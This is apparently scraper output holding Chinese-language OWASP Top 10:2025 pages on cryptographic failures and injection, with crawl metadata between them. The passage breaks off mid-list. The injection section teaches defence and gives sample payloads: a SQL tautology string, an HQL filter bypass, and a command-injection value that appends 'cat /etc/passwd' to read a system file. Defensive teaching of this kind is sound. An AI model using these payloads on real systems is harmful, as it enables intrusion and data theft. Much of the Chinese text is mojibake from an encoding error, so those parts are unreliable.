ç­‰ä¸ĺŽ‰ĺ…¨čżčĄŒć¨ĄĺźďźŸĺœ¨ć›´é€‚ĺˆä˝żç”¨čŽ¤čŻĺŠ ĺŻ†ć—śďźŒć˜ŻĺŚĺŞä˝żç”¨ć™Žé€šĺŠ ĺŻ†ďźŸ\n- ć˜ŻĺŚĺœ¨ć˛Ąćœ‰ĺŸşäşŽĺŻ†ç çš„ĺŻ†é’Ľć´žç”Ÿĺ‡˝ć•°çš„ćƒ…ĺ†ľä¸‹ďźŒćŠŠĺŻ†ç ç”¨ä˝œĺŠ ĺŻ†ĺŻ†é’ĽďźŸ\n- ć˜ŻĺŚä˝żç”¨äş†ĺšśéžä¸şćťĄčśłĺŠ ĺŻ†čŚćą‚č€ŒčŽžčŽĄçš„éšćœşć€§ďźŸĺłä˝żé€‰ć‹Šäş†ć­ŁçĄŽĺ‡˝ć•°ďźŒć˜ŻĺŚéœ€čŚĺź€ĺ‘äşşĺ‘˜ćäž›ç§ĺ­ďźŸĺŚ‚ćžœä¸éœ€čŚďźŒĺź€ĺ‘äşşĺ‘˜ć˜ŻĺŚç”¨ç†ľ/不可预测性不足的种子覆盖了内置的强种子功能?\n- 是否使用了 MD5 或 SHA1 ç­‰ĺˇ˛ĺźƒç”¨ĺ“ˆĺ¸Œĺ‡˝ć•°ďźŒćˆ–ĺœ¨éœ€čŚĺŠ ĺŻ†ĺ“ˆĺ¸Œĺ‡˝ć•°ć—śä˝żç”¨äş†éžĺŠ ĺŻ†ĺ“ˆĺ¸Œĺ‡˝ć•°ďźŸ\n- ĺŠ ĺŻ†é”™čŻŻćśˆćŻćˆ–äž§äżĄé“äżĄćŻć˜ŻĺŚĺŻč˘ŤĺˆŠç”¨ďźŒäž‹ĺŚ‚ĺĄŤĺ……é˘„č¨€ćœşć”ťĺ‡ťďźŸ\n- ĺŠ ĺŻ†çŽ—ćł•ć˜ŻĺŚĺŻäťĽč˘Ťé™çş§ćˆ–çť•čż‡ďźŸ\n\n参见 ASVS 中关于 CryptographyV11)、Secure CommunicationV12)和 Data ProtectionV14)的参考资料。\n\n## 如何预防\n\n至少执行以下事项,并参考资料进一步确认:\n\n- ĺŻšĺş”ç”¨ĺ¤„ç†ă€ĺ­˜ĺ‚¨ćˆ–äź čž“çš„ć•°ćŽčż›čĄŒĺˆ†çąťĺ’Œć ‡čŽ°ă€‚čŻ†ĺˆŤĺ“Şäş›ć•°ćŽć šćŽéšç§ćł•ĺž‹ă€ç›‘çŽĄčŚćą‚ćˆ–ä¸šĺŠĄéœ€ćą‚ĺąžäşŽć•ć„Ÿć•°ćŽă€‚\n- 将最敏感的密钥存储在硬件或云端 HSM 中。\n- ĺ°˝ĺŻčƒ˝ä˝żç”¨ĺŻäżĄçš„ĺŠ ĺŻ†çŽ—ćł•ĺŽžçŽ°ă€‚\n- 不要不必要地存储敏感数据。尽快丢弃它,或使用符合 PCI DSS 的令牌化甚至截断。不保留的数据不会被窃取。\n- çĄŽäżć‰€ćœ‰ć•ć„Ÿć•°ćŽĺœ¨é™ć€ĺ­˜ĺ‚¨ć—śĺŠ ĺŻ†ă€‚\n- çĄŽäżä˝żç”¨ćœ€ć–°ä¸”ĺźşĺĽçš„ć ‡ĺ‡†çŽ—ćł•ă€ĺčŽŽĺ’ŒĺŻ†é’Ľďź›ä˝żç”¨é€‚ĺ˝“çš„ĺŻ†é’ĽçŽĄç†ă€‚\n- 只使用 TLS 1.2 ĺŠäťĽä¸ŠĺčŽŽĺŠ ĺŻ†ć‰€ćœ‰äź čž“ä¸­ć•°ćŽďźŒä˝żç”¨ĺ…ˇĺ¤‡ĺ‰ĺ‘äżĺŻ†ďźˆFSďź‰çš„ĺŻ†ç ĺĽ—äťśďźŒĺœć­˘ć”ŻćŒ CBC ĺˆ†çť„ĺŻ†ç ďźŒć”ŻćŒé‡ĺ­ĺŻ†é’Ľäş¤ć˘çŽ—ćł•ă€‚ĺŻš HTTPS 使用 HTTP Strict Transport SecurityHSTSďź‰ĺźşĺˆśĺŠ ĺŻ†ă€‚ç”¨ĺˇĽĺ…ˇćŁ€ćŸĽć‰€ćœ‰é…ç˝Žă€‚\n- 对包含敏感数据的响应禁用缓存。这包括 CDN、Web 服务器以及任何应用缓存(例如 Redis)。\n- 按数据分类应用所需安全控制。\n- 不要使用 FTP 和 STARTTLS ç­‰ćœŞĺŠ ĺŻ†ĺčŽŽă€‚éżĺ…ä˝żç”¨ SMTP äź čž“ćœşĺŻ†ć•°ćŽă€‚\n- ä˝żç”¨ĺ¸ŚĺˇĽä˝œĺ› ĺ­ďźˆĺťśčżŸĺ› ĺ­ďź‰çš„ĺźşč‡Şé€‚ĺş”ĺŠ ç›ĺ“ˆĺ¸Œĺ‡˝ć•°ĺ­˜ĺ‚¨ĺŻ†ç ďźŒäž‹ĺŚ‚ Argon2、yescrypt、scrypt 或 PBKDF2-HMAC-SHA-512。对使用 bcrypt 的遗留系统,可参考 [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) 获取更多建议。\n- 初始化向量必须按运行模式适当选择。这可能意味着使用 CSPRNGďźˆĺŠ ĺŻ†ĺŽ‰ĺ…¨äźŞéšćœşć•°ç”Ÿćˆĺ™¨ďź‰ă€‚ĺŻšéœ€čŚ nonce 的模式,初始化向量(IV)不一定需要 CSPRNG。任何情况下,同一个固定密钥下 IV 都不应重复使用。\n- ĺ§‹çťˆä˝żç”¨čŽ¤čŻĺŠ ĺŻ†ďźŒč€Œä¸ć˜ŻĺŞä˝żç”¨ĺŠ ĺŻ†ă€‚\n- ĺŻ†é’Ľĺş”äťĽĺŠ ĺŻ†éšćœşć–šĺźç”ŸćˆďźŒĺšśäťĽĺ­—čŠ‚ć•°çť„ĺ˝˘ĺźĺ­˜ĺ‚¨ĺœ¨ĺ†…ĺ­˜ä¸­ă€‚ĺŚ‚ćžœä˝żç”¨ĺŻ†ç ďźŒĺˆ™ĺż…éĄťé€ščż‡é€‚ĺ˝“çš„ĺŸşäşŽĺŻ†ç çš„ĺŻ†é’Ľć´žç”Ÿĺ‡˝ć•°č˝Źć˘ćˆĺŻ†é’Ľă€‚\n- çĄŽäżĺœ¨é€‚ĺ˝“ä˝ç˝Žä˝żç”¨ĺŠ ĺŻ†éšćœşć€§ďźŒĺšśä¸”ć˛Ąćœ‰ç”¨ĺŻé˘„ćľ‹ćˆ–ä˝Žç†ľć–šĺźčŽžç§ĺ­ă€‚ĺ¤§ĺ¤šć•°çŽ°äťŁ API 不需要开发人员为 CSPRNG 提供种子即可安全使用。\n- éżĺ…ĺˇ˛ĺźƒç”¨çš„ĺŠ ĺŻ†ĺ‡˝ć•°ă€ĺˆ†çť„ćž„ĺťşć–šćł•ĺ’ŒĺĄŤĺ……ć–šćĄˆďźŒäž‹ĺŚ‚ MD5、SHA1、Cipher Block Chaining ModeCBC)、PKCS number 1 v1.5。\n- 通过安全专家、专门工具或两者共同审查,确保设置和配置满足安全要求。\n- ä˝ éœ€čŚçŽ°ĺœ¨ĺ°ąä¸şĺŽé‡ĺ­ĺŻ†ç ďźˆPQC)做准备,参见 ENISA 参考资料,使高风险系统最迟在 2030 年底前处于安全状态。\n\n## 攻击场景示例\n\n**场景 #1**:某站点没有为所有页面使用或强制使用 TLSďźŒćˆ–ć”ŻćŒĺźąĺŠ ĺŻ†ă€‚ć”ťĺ‡ťč€…ç›‘ćŽ§ç˝‘çťœćľé‡ďźˆäž‹ĺŚ‚ĺœ¨ä¸ĺŽ‰ĺ…¨ć— çşżç˝‘çťœä¸­ďź‰ďźŒĺ°†čżžćŽĽäťŽ HTTPS 降级为 HTTP,拦截请求并窃取用户会话 cookie。随后攻击者重放该 cookieďźŒĺŠŤćŒç”¨ćˆˇçš„ďźˆĺˇ˛čŽ¤čŻďź‰äźščŻďźŒčŽżé—Žćˆ–äżŽć”šç”¨ćˆˇç§ćœ‰ć•°ćŽă€‚ć”ťĺ‡ťč€…äšŸĺŻčƒ˝çŻĄć”šć‰€ćœ‰äź čž“ć•°ćŽďźŒäž‹ĺŚ‚äżŽć”šč˝Źč´Ść”śćŹžć–šă€‚\n\n**场景 #2**ďźšĺŻ†ç ć•°ćŽĺş“ä˝żç”¨ćœŞĺŠ ç›ćˆ–çŽ€ĺ•ĺ“ˆĺ¸Œĺ­˜ĺ‚¨ć‰€ćœ‰äşşçš„ĺŻ†ç ă€‚ć–‡äťśä¸Šäź çźşé™ˇĺ…čŽ¸ć”ťĺ‡ťč€…čŽˇĺ–ĺŻ†ç ć•°ćŽĺş“ă€‚ć‰€ćœ‰ćœŞĺŠ ç›ĺ“ˆĺ¸Œéƒ˝ĺŻäťĽé€ščż‡é˘„čŽĄçŽ—ĺ“ˆĺ¸Œĺ˝Šč™ščĄ¨ćš´éœ˛ă€‚ç”ąçŽ€ĺ•ćˆ–ĺżŤé€Ÿĺ“ˆĺ¸Œĺ‡˝ć•°ç”Ÿćˆçš„ĺ“ˆĺ¸Œĺłä˝żĺŠ ç›ďźŒäšŸĺŻčƒ˝č˘Ť GPU ç ´č§Łă€‚\n\n## 参考资料\n\n- [OWASP Proactive Controls: C2: Use Cryptography to Protect Data](https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/)\n- [OWASP Application Security Verification Standard (ASVS):](https://owasp.org/www-project-application-security-verification-standard) [V11,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md) [12,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md) [14](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n- [ENISA: A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography](https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography)\n- [NIST Releases First 3 Finalized Post-Quantum Encryption Standards](https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-261 ĺŻ†ç çź–ç ĺźşĺşŚĺźą](https://cwe.mitre.org/data/definitions/261.html)\n- [CWE-296 证书信任链跟随不当](https://cwe.mitre.org/data/definitions/296.html)\n- [CWE-319 ć˜Žć–‡äź čž“ć•ć„ŸäżĄćŻ](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-320 密钥管理错误(已弃用)](https://cwe.mitre.org/data/definitions/320.html)\n- [CWE-321 ä˝żç”¨çĄŹçź–ç ĺŠ ĺŻ†ĺŻ†é’Ľ](https://cwe.mitre.org/data/definitions/321.html)\n- [CWE-322 未进行实体认证的密钥交换](https://cwe.mitre.org/data/definitions/322.html)\n- [CWE-323 ĺŠ ĺŻ†ä¸­é‡ĺ¤ä˝żç”¨ä¸€ćŹĄć€§éšćœşć•°ćˆ–ĺŻ†é’ĽĺŻš](https://cwe.mitre.org/data/definitions/323.html)\n- [CWE-324 使用已过期密钥](https://cwe.mitre.org/data/definitions/324.html)\n- [CWE-325 çźşĺ°‘ĺż…éœ€çš„ĺŠ ĺŻ†ć­ĽéŞ¤](https://cwe.mitre.org/data/definitions/325.html)\n- [CWE-326 ĺŠ ĺŻ†ĺźşĺşŚä¸čśł](https://cwe.mitre.org/data/definitions/326.html)\n- [CWE-327 ä˝żç”¨ĺˇ˛ç ´č§Łćˆ–ćœ‰éŁŽé™Šçš„ĺŠ ĺŻ†çŽ—ćł•](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-328 可逆的单向哈希](https://cwe.mitre.org/data/definitions/328.html)\n- [CWE-329 CBC 模式未使用随机 IV](https://cwe.mitre.org/data/definitions/329.html)\n- [CWE-330 使用随机性不足的值](https://cwe.mitre.org/data/definitions/330.html)\n- [CWE-331 熵不足](https://cwe.mitre.org/data/definitions/331.html)\n- [CWE-332 PRNG 中熵不足](https://cwe.mitre.org/data/definitions/332.html)\n- [CWE-334 随机值空间过小](https://cwe.mitre.org/data/definitions/334.html)\n- [CWE-335 伪随机数生成器(PRNG)中种子使用错误](https://cwe.mitre.org/data/definitions/335.html)\n- [CWE-336 伪随机数生成器(PRNG)中使用相同种子](https://cwe.mitre.org/data/definitions/336.html)\n- [CWE-337 伪随机数生成器(PRNG)中使用可预测种子](https://cwe.mitre.org/data/definitions/337.html)\n- [CWE-338 ä˝żç”¨ĺŠ ĺŻ†ĺźşĺşŚä¸čśłçš„äźŞéšćœşć•°ç”Ÿćˆĺ™¨ďźˆPRNG)](https://cwe.mitre.org/data/definitions/338.html)\n- [CWE-340 ç”ŸćˆĺŻé˘„ćľ‹ć•°ĺ­—ćˆ–ć ‡čŻ†çŹŚ](https://cwe.mitre.org/data/definitions/340.html)\n- [CWE-342 可从先前值预测精确值](https://cwe.mitre.org/data/definitions/342.html)\n- [CWE-347 ĺŠ ĺŻ†ç­žĺéŞŒčŻä¸ĺ˝“](https://cwe.mitre.org/data/definitions/347.html)\n- [CWE-523 ĺ‡­ćŽäź čž“ćœŞĺ—äżćŠ¤](https://cwe.mitre.org/data/definitions/523.html)\n- [CWE-757 协商过程中选择较不安全算法(算法降级)](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-759 ä˝żç”¨ćœŞĺŠ ç›çš„ĺ•ĺ‘ĺ“ˆĺ¸Œ](https://cwe.mitre.org/data/definitions/759.html)\n- [CWE-760 使用带可预测盐值的单向哈希](https://cwe.mitre.org/data/definitions/760.html)\n- [CWE-780 使用未带 OAEP 的 RSA 算法](https://cwe.mitre.org/data/definitions/780.html)\n- [CWE-916 ä˝żç”¨čŽĄçŽ—ćˆćœŹä¸čśłçš„ĺŻ†ç ĺ“ˆĺ¸Œ](https://cwe.mitre.org/data/definitions/916.html)\n- [CWE-1240 ä˝żç”¨ĺ­˜ĺœ¨éŁŽé™ŠĺŽžçŽ°çš„ĺŠ ĺŻ†ĺŽŸčŻ­](https://cwe.mitre.org/data/definitions/1240.html)\n- [CWE-1241 随机数生成器中使用可预测算法](https://cwe.mitre.org/data/definitions/1241.html)", "znaku_textu": 11272, "slov": 541, "odkazu": 85, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:22", "sha256": "a2ba6a87085c7e1b320acf4e5eef33df54287189d88895c37db0209af192396f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://en.wikipedia.org/wiki/Transport_layer", "https://en.wikipedia.org/wiki/OSI_model", "https://en.wikipedia.org/wiki/AES_instruction_set", "https://letsencrypt.org/", "https://en.wikipedia.org/wiki/Application_layer", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography", "https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cwe.mitre.org/data/definitions/1241.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A05_2025-Injection/", "titulek": "A05 注入 - OWASP Top 10:2025", "h1": "A05:2025 注入", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A05_2025-Injection/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 注入"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A05:2025 注入\n\n## 背景\n\n注入排名从第 3 位下降两位到第 5 位,相对于 A04:2025-ĺŠ ĺŻ†ćœşĺˆśĺ¤ąć•ˆĺ’Œ A06:2025-不安全设计的位置保持不变。注入是测试最充分的类别之一,100% 的应用都被测试过某种形式的注入。它是所有类别中 CVE 数量最多的类别,本类别包含 37 个 CWE。注入包括跨站脚本(高频率/低影响,超过 3 万个 CVE)和 SQL 注入(低频率/高影响,超过 1.4 万个 CVE)。CWE-79“Web 页面生成期间输入中和不当(跨站脚本)”的大量已报告 CVE ć‹‰ä˝Žäş†čŻĽçąťĺˆŤçš„ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ă€‚\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13.77% | 3.08% | 100.00% | 42.93% | 7.15 | 4.32 | 1,404,249 | 62,445 |\n\n## 描述\n\n注入漏洞是应用缺陷,使不可信用户输入能够被发送给解释器(例如浏览器、数据库、命令行),并导致解释器将输入的一部分作为命令执行。\n\n当出现以下情况时,应用容易受到攻击:\n\n- 用户提供的数据没有被应用验证、过滤或清理。\n- 动态查询或非参数化调用在没有上下文感知转义的情况下直接用于解释器。\n- ćœŞć¸…ç†çš„ć•°ćŽč˘Ťç”¨äşŽĺŻščąĄĺ…łçłťć˜ ĺ°„ďźˆORM)搜索参数,从而提取额外的敏感记录。\n- 可能有害的数据被直接使用或拼接。SQL 或命令在动态查询、命令或存储过程中同时包含结构和恶意数据。\n\n较常见的注入包括 SQL、NoSQL、OS ĺ‘˝äť¤ă€ĺŻščąĄĺ…łçłťć˜ ĺ°„ďźˆORM)、LDAP,以及表达式语言(EL)或对象图导航库(OGNLďź‰ćł¨ĺ…Ľă€‚ć‰€ćœ‰č§Łé‡Šĺ™¨ä¸­çš„ćŚ‚ĺżľéƒ˝ć˜Żä¸€ć ˇçš„ă€‚ćœ€ä˝łćŁ€ćľ‹ć–šĺźć˜Żçť“ĺˆćşäťŁç ĺŽĄćŸĽä¸Žč‡ŞĺŠ¨ĺŒ–ćľ‹čŻ•ďźˆĺŒ…ć‹Źć¨ĄçłŠćľ‹čŻ•ďź‰ďźŒčŚ†ç›–ć‰€ćœ‰ĺ‚ć•°ă€ĺ¤´ă€URL、cookie、JSON、SOAP 和 XML 数据输入。将静态(SAST)、动态(DAST)和交互式(IASTďź‰ĺş”ç”¨ĺŽ‰ĺ…¨ćľ‹čŻ•ĺˇĽĺ…ˇĺŠ ĺ…Ľ CI/CD 流水线,也有助于在生产部署前识别注入缺陷。\n\n一类相关的注入漏洞在 LLM 中已经变得常见。它们在 [OWASP LLM Top 10](https://genai.owasp.org/llm-top-10/) 中单独讨论,尤其是 [LLM01:2025 Prompt Injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/)。\n\n## 如何预防\n\n预防注入的最佳方法是让数据与命令和查询保持分离:\n\n- 首选方式是使用安全 APIďźŒĺŽŒĺ…¨éżĺ…ä˝żç”¨č§Łé‡Šĺ™¨ďźŒćˆ–ćäž›ĺ‚ć•°ĺŒ–ćŽĽĺŁďźŒćˆ–čżç§ťĺˆ°ĺŻščąĄĺ…łçłťć˜ ĺ°„ĺˇĽĺ…ˇďźˆORM)。 **注意:** 即使已参数化,如果 PL/SQL 或 T-SQL 拼接查询和数据,或用 EXECUTE IMMEDIATE 或 exec() 执行有害数据,存储过程仍可能引入 SQL 注入。\n\nĺ˝“ć— ćł•ĺ°†ć•°ćŽä¸Žĺ‘˝äť¤ĺˆ†çŚťć—śďźŒĺŻäťĽä˝żç”¨äťĽä¸‹ćŠ€ćœŻé™ä˝Žĺ¨čƒă€‚\n\n- ä˝żç”¨ćœĺŠĄçŤŻć­Łĺ‘čž“ĺ…ĽéŞŒčŻă€‚čż™ä¸ć˜ŻĺŽŒć•´é˜˛ĺžĄďźŒĺ› ä¸şčŽ¸ĺ¤šĺş”ç”¨éœ€čŚç‰šćŽŠĺ­—çŹŚďźŒäž‹ĺŚ‚ć–‡ćœŹĺŒşĺŸŸćˆ–ç§ťĺŠ¨ĺş”ç”¨ API。\n- 对任何残留的动态查询,使用该解释器专用的转义语法转义特殊字符。 **注意:** 表名、列名等 SQL çť“ćž„ć— ćł•č˘Ťč˝Źäš‰ďźŒĺ› ć­¤ç”¨ćˆˇćäž›çš„çť“ćž„ĺç§°ć˜Żĺąé™Šçš„ă€‚čż™ĺœ¨ćŠĽčĄ¨çź–ĺ†™č˝Żäťśä¸­ĺžˆĺ¸¸č§ă€‚\n\n**警告:** 这些技术涉及复杂字符串的解析和转义,容易出错,并且对底层系统的细微变化不够稳健。\n\n## 攻击场景示例\n\n**场景 #1:** ĺş”ç”¨ĺœ¨ćž„é€ äťĽä¸‹ć˜“ĺ—ć”ťĺ‡ťçš„ SQL 调用时使用了不可信数据:\n\n```\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\n攻击者在浏览器中把 `id` 参数值修改为:`' OR '1'='1`。例如:\n\n```\nhttp://example.com/app/accountView?id=' OR '1'='1\n```\n\n这会改变查询含义,返回 accounts čĄ¨ä¸­çš„ć‰€ćœ‰čŽ°ĺ˝•ă€‚ć›´ĺąé™Šçš„ć”ťĺ‡ťčż˜ĺŻčƒ˝äżŽć”šćˆ–ĺˆ é™¤ć•°ćŽďźŒç”šč‡łč°ƒç”¨ĺ­˜ĺ‚¨čż‡ç¨‹ă€‚\n\n**场景 #2:** 应用盲目信任框架,仍可能生成易受攻击的查询。例如 Hibernate Query LanguageHQL):\n\n```\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\n攻击者提供:`' OR custID IS NOT NULL OR custID='`。这会绕过过滤器并返回所有账户。虽然 HQL 的危险函数少于原始 SQL,但当用户输入被拼接进查询时,仍会允许未经授权的数据访问。\n\n**场景 #3:** ĺş”ç”¨ćŠŠç”¨ćˆˇčž“ĺ…Ľç›´ćŽĽäź çť™ OS 命令:\n\n```\nString cmd = \"nslookup \" + request.getParameter(\"domain\");\nRuntime.getRuntime().exec(cmd);\n```\n\n攻击者提供 `example.com; cat /etc/passwd`,从而在服务器上执行任意命令。\n\n## 参考资料\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection) , and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications - OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-20 输入验证不当](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-74 ä¸‹ć¸¸çť„äťść‰€ç”¨čž“ĺ‡şä¸­ç‰šćŽŠĺ…ƒç´ ä¸­ĺ’Œä¸ĺ˝“ďźˆćł¨ĺ…Ľďź‰](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-76 ç­‰äťˇç‰šćŽŠĺ…ƒç´ ä¸­ĺ’Œä¸ĺ˝“](https://cwe.mitre.org/data/definitions/76.html)\n- [CWE-77 ĺ‘˝äť¤ä¸­ç‰šćŽŠĺ…ƒç´ ä¸­ĺ’Œä¸ĺ˝“ďźˆĺ‘˝äť¤ćł¨ĺ…Ľďź‰](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78 ć“ä˝œçłťçťŸĺ‘˝äť¤ä¸­ç‰šćŽŠĺ…ƒç´ ä¸­ĺ’Œä¸ĺ˝“ďźˆć“ä˝œçłťçťŸĺ‘˝äť¤ćł¨ĺ…Ľďź‰](https://cwe.mitre.org/data/definitions/78.html)\n- [CWE-79 网页生成期间输入中和不当(跨站脚本)](https://cwe.mitre.org/data/definitions/79.html)\n- [CWE-80 网页中脚本相关 HTML ć ‡ç­žä¸­ĺ’Œä¸ĺ˝“ďźˆĺŸşçĄ€čˇ¨çŤ™č„šćœŹďź‰](https://cwe.mitre.org/data/definitions/80.html)\n- [CWE-83 网页属性中的脚本中和不当](https://cwe.mitre.org/data/definitions/83.html)\n- [CWE-86 ç˝‘éĄľć ‡čŻ†çŹŚä¸­çš„ć— ć•ˆĺ­—çŹŚä¸­ĺ’Œä¸ĺ˝“](https://cwe.mitre.org/data/definitions/86.html)\n- [CWE-88 命令中参数分隔符中和不当(参数注入)](https://cwe.mitre.org/data/definitions/88.html)\n- [CWE-89 SQL ĺ‘˝äť¤ä¸­ç‰šćŽŠĺ…ƒç´ ä¸­ĺ’Œä¸ĺ˝“ďźˆSQL 注入)](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-90 LDAP ćŸĽčŻ˘ä¸­ç‰šćŽŠĺ…ƒç´ ä¸­ĺ’Œä¸ĺ˝“ďźˆLDAP 注入)](https://cwe.mitre.org/data/definitions/90.html)\n- [CWE-91 XML 注入(又称盲 XPath 注入)](https://cwe.mitre.org/data/definitions/91.html)\n- [CWE-93 CRLF 序列中和不当(CRLF 注入)](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-94 äťŁç ç”ŸćˆćŽ§ĺˆśä¸ĺ˝“ďźˆäťŁç 